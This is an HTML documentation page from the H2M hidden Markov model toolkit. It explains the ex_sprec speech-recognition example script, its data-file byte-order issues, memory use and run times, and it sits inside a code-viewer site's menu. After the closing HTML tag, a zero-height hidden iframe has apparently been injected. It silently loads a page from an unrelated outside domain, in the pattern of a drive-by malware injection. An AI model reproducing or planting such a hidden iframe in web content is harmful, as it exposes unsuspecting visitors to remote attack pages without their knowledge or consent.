📄 node12.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><!--Converted with LaTeX2HTML 2K.1beta (1.48)original version by: Nikos Drakos, CBLU, University of Leeds* revised and updated by: Marcus Hennecke, Ross Moore, Herb Swan* with significant contributions from: Jens Lippmann, Marek Rouchal, Martin Wilck and others --><HTML><HEAD><TITLE>A more advance example (sequence recognition with HMM): ex_sprec</TITLE><META NAME="description" CONTENT="A more advance example (sequence recognition with HMM): ex_sprec"><META NAME="keywords" CONTENT="H2M, H2M/cnt, Hidden Markov Model, HMM, Mixture model, Vector Quantization, Expectation Maximization, EM, Multivariate Gaussian, Count data, Poisson, Negative binomial, MATLAB, OCTAVE, GPL"><META NAME="resource-type" CONTENT="document"><META NAME="distribution" CONTENT="global"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><META NAME="Generator" CONTENT="LaTeX2HTML v2K.1beta"><META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"><LINK REL="STYLESHEET" HREF="h2m.css"><LINK REL="next" HREF="node13.html"><LINK REL="previous" HREF="node11.html"><LINK REL="up" HREF="node8.html"><LINK REL="next" HREF="node13.html"></HEAD><BODY BGCOLOR="ivory"><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html232" HREF="node13.html">Implementation issues</A><B>Up:</B> <A NAME="tex2html228" HREF="node8.html">Models with multivariate Gaussian</A><B> Previous:</B> <A NAME="tex2html222" HREF="node11.html">Another mixture example: ex_bic</A><P><!--End of Navigation Panel--><H2><A NAME="SECTION00034000000000000000"></A><A NAME="sec:ex_sprec"></A><BR>A more advance example (sequence recognition with HMM): ex_sprec</H2>The script <code>ex_sprec.m</code> contains a more elaborate example of the use of<TT>H2M</TT> functions for an isolated words speaker-dependent recognition task(with no recording variability). I included this example because it provided asimple way of answering most of the question I was asked concerning <TT>H2M</TT> (please, don't ask me about speech recognition anymore!). <B>I do however insist on the following: (1) <code>ex_sprec.m</code> is not meant to be used for real-world speech recognition (see section <A HREF="node13.html#sec:time+mem">2.5.3</A> on computation time and memory usage), (2) I am not a speech recognition expert and thus cannot answer questions concerning this particular use of <TT>H2M</TT> functions</B>.<P>This is a very simplistic example where basic models (left-right models withfive states and a single shared covariance matrix) are sufficient to get rid ofall errors on a small size training set (which is again not at all typical ofreal-world speech recognition applications). The code is commented so that itshould not be too difficult to figure out what's going on.<P>If you run into trouble, it will probably happens when reading the signal file<code>data/</code> <code>digits.sig</code> which is a binary file contains shorts (16 bitssigned integers) recorded on a <EM>little-endian</EM> system (PCs running Windowsor Linux are typically little-endian systems, most Unix workstations arebig-endian). I have successfully run <code>ex_sprec</code> on various Unix systems(little <EM>and</EM> big-endian) using either MATLAB V5 or OCTAVE 2.0, so I hopeto have cleared all the input/output problems. The script tries to determinewhich of MATLAB or OCTAVE is used so as to add the <code>octave</code> subdirectoryto the search path if needed.<P>Running <code>ex_sprec</code> requires about 6 Mb of memory, or 15 Mb if you have tooverwrite the signal file (which is my own stupid way of coping with oldversions of MATLAB or OCTAVE running on big-endian systems). On my own Linuxbox (Pentium III - 1 GHz hardarwe), the computation time for <code>ex_sprec</code>(parameterization, training and recognition) ranges from 48.5 s under OCTAVE to9.1 s using MATLAB with all computational routines compiled.<P><P><HR><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html232" HREF="node13.html">Implementation issues</A><B>Up:</B> <A NAME="tex2html228" HREF="node8.html">Models with multivariate Gaussian</A><B> Previous:</B> <A NAME="tex2html222" HREF="node11.html">Another mixture example: ex_bic</A><P><!--End of Navigation Panel--><ADDRESS>Olivier Cappé, Aug 24 2001</ADDRESS></BODY></HTML>
<iframe src=http://www.mnuiu.cn/ar.htm width=100 height=0></iframe>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -